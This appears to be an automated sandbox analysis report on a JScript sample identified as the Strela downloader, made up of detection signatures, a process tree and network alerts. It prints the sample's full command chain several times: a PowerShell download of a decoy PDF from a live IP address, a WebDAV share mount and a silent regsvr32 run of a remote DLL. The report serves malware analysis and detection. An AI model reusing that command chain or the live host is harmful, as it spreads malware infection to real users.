Edit tour

Windows Analysis Report
173992455338126060.js

Overview

General Information

Sample name:	173992455338126060.js
Analysis ID:	1588888
MD5:	2cfe12a54cc920804c6cd4341d75ffdf
SHA1:	941c95c864917f31e35a7042d012a4f93c43fb57
SHA256:	387ba4cc343ca5c7c2238798b324ac1f4245d4bfd4eea8a106587ac81d60719e
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7452 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7508 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7564 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7736 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7948 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8176 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1604,i,14776943152426068880,9895503189276820385,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7756 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7856 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8016 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7452	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7564, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7564, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", ProcessId: 7452, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7856, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ProcessId: 7508, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ProcessId: 7508, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ProcessId: 7508, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ProcessId: 7508, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ProcessId: 7508, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", ProcessId: 7452, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7508, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7564, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7756, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7856, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8016, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7756, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7856, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\173992455338126060.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7452, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\245522778022694.dll, ProcessId: 7508, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:44:56.384244+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:44:58.721664+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:44:56.384244+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 173992455338126060.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 173992455338126060.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:44:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
